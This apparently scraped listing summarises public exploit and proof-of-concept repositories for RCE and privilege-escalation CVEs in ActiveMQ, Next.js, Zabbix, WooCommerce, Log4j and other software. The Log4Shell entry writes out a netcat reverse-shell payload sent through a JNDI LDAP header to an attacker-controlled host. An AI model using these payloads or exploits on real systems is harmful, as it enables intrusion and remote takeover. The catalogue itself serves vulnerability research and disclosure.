apache-activemq-rce-research

Apache ActiveMQ Classic — RCE Research Private research archive for the Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML remote-code-execution chain CVE-2026-34197 and its patch-bypass CVE-2026-42588, plus a full auto-research audit of the fixed 6.2.6 release and a...

CVE-2025-55182-POC-NEXTJS

CVE-2025-55182 React2Shell - Proof of Concept PoC This is a commercial, non-free Proof-of-Concept. Purchase Link: https://bit.ly/44G0ani Overview This repository contains a reliable, high-fidelity Proof-of-Concept PoC exploit for CVE-2025-55182 , also known as React2Shell. This is a critical CVSS...

CVE-2024-1642470

Windows USB Generic Parent Driver Remote Code Execution Vulnerability CVE-2024-1642470 Overview This repository contains a proof-of-concept PoC exploit code and a detection script for the Windows USB Generic Parent Driver Remote Code Execution Vulnerability, identified as CVE-2024-1642470...

CVE-2024-42327

CVE-2024-42327: Zabbix Privilege Escalation - RCE Description This Proof-of-Concept POC can be used to exploit CVE-2024-42327 to leak the admin API authentication token and create an item to achieve a reverse shell on a Zabbix server 6.0.32rc1, 6.4.17rc1, 7.0.1rc1 A non-admin user account on the...

CVE-2022-25061

CVE-2022-25061 This script exploits a remote command execution vulnerability under the oalsetIp6DefaultRoute component in the TPLink WR840N router...

CVE-2019-12725-Command-Injection

POC CVE-2019-12725-Remote-Command-Execution ZeroShell 3.9.0 Remote Command Injection Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this iss...

CVE-2022-30190

CVE-2022-30190 - Microsoft Support Diagnostic Tool About This script will attempt to create a Microsoft Office document which will remotely execute code. Setup git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help Options usage:...

EUVD-2026-101864

The Email Customizer for WooCommerce Pro plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.9.5. This is due to insufficient authorization and input sanitization in the sendtestmail function, which allows user-controlled PHP code to be written to...

CVE-2026-81534 Email Customizer for WooCommerce (Pro) <= 3.9.5 - Authenticated (Subscriber+) Remote Code Execution via 'template' Parameter

The Email Customizer for WooCommerce Pro plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.9.5. This is due to insufficient authorization and input sanitization in the sendtestmail function, which allows user-controlled PHP code to be written to...

CVE-2026-81534

The Email Customizer for WooCommerce (Pro) plugin for WordPress is vulnerable to Remote Code Execution (RCE) in versions up to and including 3.9.5 . The root cause is insufficient authorization and input sanitization within the send_test_mail() function, which allows for the injection of user-con...

CVE-2022-40127-Airflow-RCE

Apache Airflow A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided runid parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0. The repo is created for a CVE...

React2Shell

React2Shell 📌 React2Shell CVE-2025-55182 React2Shell is the informal name given to a critical Remote Code Execution RCE vulnerability affecting React Server Components RSC and related frameworks like Next.js. Its severity and potential impact have made it a major concern in the web development an...

CVE-2026-8461-EXP

CVE-2026-8461 "PixelSmash" — FFmpeg MagicYUV Heap OOB Write PoC !WARNING This repository contains a working exploit PoC for a heap corruption vulnerability. It is intended solely for authorized security research, CTF contexts, and defensive analysis. Do not use against systems you do not own or...

CVE-2024-30051

Windows DWM Core Library Elevation of Privilege Vulnerability CVE-2024-30051 Published August 15 of 2024 In this blog post, I will explain a vulnerability in the Microsoft Windows DWM Core library that I analyzed when the exploit for Core Impact was being developed. Allows an unprivileged attacke...

CVE-2024-30167

PoC For Atlona OME Authenticated Command Injection Disclaimer : This proof of concept is provided solely for educational and research purposes only. Do not use this code on systems you do not own or have explicit permission to test. I am not responsible for any misuse. An authenticated command...

CVE-2019-0752

https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer PoC exploit for CVE-2019-0752 Targets Internet Explorer 11 32bit on Windows 10 x64 up to RS4, RS5? Uses special address values in adddition to some path magic to avoid using...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convert into Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Proof of concept Log4j Po...

BlackBerryC2

BlackBerryC2 2.0.0-beta BlackBerryC2 is an encrypted remote administration and C2 framework designed exclusively for educational use, security research, and controlled laboratory environments. The project demonstrates how to build a custom command-and-control server with application-layer...

CVE-2019-9791

Exploit chain for CVE-2019-9791 & CVE-2019-11708 against Firefox 65.0 Works against Firefox 65.0 on windows 64bit. CVE-2019-11708 part is taken from exploit by 0vercl0k: https://github.com/0vercl0k/CVE-2019-11708 The exploit uses CVE-2019-9791 to obtain read/write primitive in content process the...

CVE-2021-40845

CVE-2021-40845 I. VULNERABILITY AlphaWeb XE - Authenticated Insecure File Upload leading to RCE II. CVE REFERENCE CVE-2021-40845 III. VENDOR https://www.zenitel.com/ IV. DESCRIPTION The web part of Zenitel AlphaCom XE Audio Server through 11.2.3.10, called AlphaWeb XE, does not restrict file uplo...